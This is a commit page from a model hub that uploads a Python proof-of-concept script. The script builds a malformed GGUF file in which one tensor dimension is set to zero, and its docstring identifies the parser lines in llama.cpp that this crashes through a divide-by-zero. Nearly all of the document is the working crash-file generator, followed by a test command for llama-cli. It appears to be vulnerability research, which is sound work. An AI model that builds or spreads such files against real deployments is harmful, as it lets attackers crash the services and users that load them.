salvepilo commited on
Commit
243748f
·
verified ·
1 Parent(s): a91df8e

Upload poc_divzero.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. poc_divzero.py +118 -0
poc_divzero.py ADDED
@@ -0,0 +1,118 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ PoC: Divide-by-zero in llama.cpp GGUF parser via zero tensor dimension.
4
+
5
+ Vulnerability: In ggml/src/gguf.cpp lines 550-552, the overflow check does:
6
+ if (ok && ((INT64_MAX/info.t.ne[1] <= info.t.ne[0]) || ...))
7
+
8
+ The dimensions ne[0..3] are validated for < 0 at line 541 but NOT for == 0.
9
+ A dimension of 0 passes the < 0 check, then INT64_MAX / 0 triggers
10
+ undefined behavior (divide-by-zero crash / SIGFPE on most platforms).
11
+
12
+ Attack vector:
13
+ - Craft a GGUF file with 1 tensor
14
+ - Tensor has n_dims=2, ne[0]=32 (valid for F32 block size), ne[1]=0
15
+ - ne[2] and ne[3] default to 1 (set at line 535)
16
+ - The parser reads ne[0]=32, ne[1]=0, then at line 550:
17
+ INT64_MAX / info.t.ne[1] => INT64_MAX / 0 => CRASH
18
+
19
+ GGUF v3 binary format for tensor info:
20
+ - name: string (uint64 length + chars)
21
+ - n_dims: uint32
22
+ - ne[0..n_dims-1]: int64 each
23
+ - type: int32 (ggml_type)
24
+ - offset: uint64
25
+ """
26
+
27
+ import struct
28
+ import os
29
+
30
+ # GGUF constants
31
+ GGUF_MAGIC = b"GGUF"
32
+ GGUF_VERSION = 3
33
+ GGUF_TYPE_STRING = 8
34
+ GGUF_TYPE_UINT32 = 4
35
+
36
+ # ggml type constants
37
+ GGML_TYPE_F32 = 0
38
+
39
+
40
+ def write_string(f, s):
41
+ """Write a GGUF string: uint64 length + chars (no null terminator)."""
42
+ encoded = s.encode('utf-8')
43
+ f.write(struct.pack('<Q', len(encoded)))
44
+ f.write(encoded)
45
+
46
+
47
+ def write_kv_string(f, key, value):
48
+ """Write a KV pair with string value."""
49
+ write_string(f, key) # key
50
+ f.write(struct.pack('<I', GGUF_TYPE_STRING)) # type = string
51
+ write_string(f, value) # value
52
+
53
+
54
+ def create_divzero_gguf(output_path):
55
+ """Create a GGUF file with a tensor whose ne[1]=0, triggering divide-by-zero."""
56
+
57
+ n_tensors = 1
58
+ n_kv = 1 # just general.architecture
59
+
60
+ with open(output_path, 'wb') as f:
61
+ # ===== GGUF Header =====
62
+ f.write(GGUF_MAGIC) # magic: "GGUF"
63
+ f.write(struct.pack('<I', GGUF_VERSION)) # version: 3
64
+ f.write(struct.pack('<Q', n_tensors)) # n_tensors: 1
65
+ f.write(struct.pack('<Q', n_kv)) # n_kv: 1
66
+
67
+ # ===== KV Pairs =====
68
+ write_kv_string(f, "general.architecture", "llama")
69
+
70
+ # ===== Tensor Info =====
71
+ # Tensor name
72
+ write_string(f, "weight")
73
+
74
+ # n_dims = 2 (so ne[0] and ne[1] are read from file; ne[2], ne[3] default to 1)
75
+ f.write(struct.pack('<I', 2))
76
+
77
+ # ne[0] = 32 (valid, non-zero, divisible by F32 block size of 1)
78
+ f.write(struct.pack('<q', 32))
79
+
80
+ # ne[1] = 0 <--- THIS IS THE TRIGGER
81
+ # Passes the "< 0" check at line 541 (0 is not < 0)
82
+ # Then at line 550: INT64_MAX / ne[1] = INT64_MAX / 0 => CRASH
83
+ f.write(struct.pack('<q', 0))
84
+
85
+ # Tensor type = GGML_TYPE_F32 (0)
86
+ f.write(struct.pack('<i', GGML_TYPE_F32))
87
+
88
+ # Tensor data offset within buffer (doesn't matter, we'll crash before using it)
89
+ f.write(struct.pack('<Q', 0))
90
+
91
+ # ===== Alignment padding + tensor data =====
92
+ # The parser expects data after tensor info, aligned to GGUF_DEFAULT_ALIGNMENT (32).
93
+ # We don't need actual tensor data since we crash during parsing, but include
94
+ # a small amount to avoid premature EOF errors before hitting the vulnerable code.
95
+ # Pad to 32-byte alignment
96
+ current_pos = f.tell()
97
+ alignment = 32
98
+ padding_needed = (alignment - (current_pos % alignment)) % alignment
99
+ f.write(b'\x00' * padding_needed)
100
+
101
+ # Write minimal tensor "data" (32 floats * 0 rows = 0 bytes, but write something)
102
+ # Actually, since we crash during gguf_init parsing, no data is needed.
103
+
104
+ file_size = os.path.getsize(output_path)
105
+ print(f"[*] Created: {output_path}")
106
+ print(f"[*] File size: {file_size} bytes")
107
+ print(f"[*] Tensor: name='weight', n_dims=2, ne=[32, 0, 1, 1], type=F32")
108
+ print(f"[*] Vulnerability: INT64_MAX / ne[1] = INT64_MAX / 0 => divide-by-zero")
109
+ print(f"[*]")
110
+ print(f"[*] Test with:")
111
+ print(f"[*] ./llama-cli -m {output_path} -p 'hello'")
112
+ print(f"[*] Expected: Floating point exception (SIGFPE) or crash")
113
+
114
+
115
+ if __name__ == "__main__":
116
+ os.makedirs("/Users/eltarne/Documents/script/gguf_poc", exist_ok=True)
117
+ output_path = "/Users/eltarne/Documents/script/gguf_poc/poc_divzero.gguf"
118
+ create_divzero_gguf(output_path)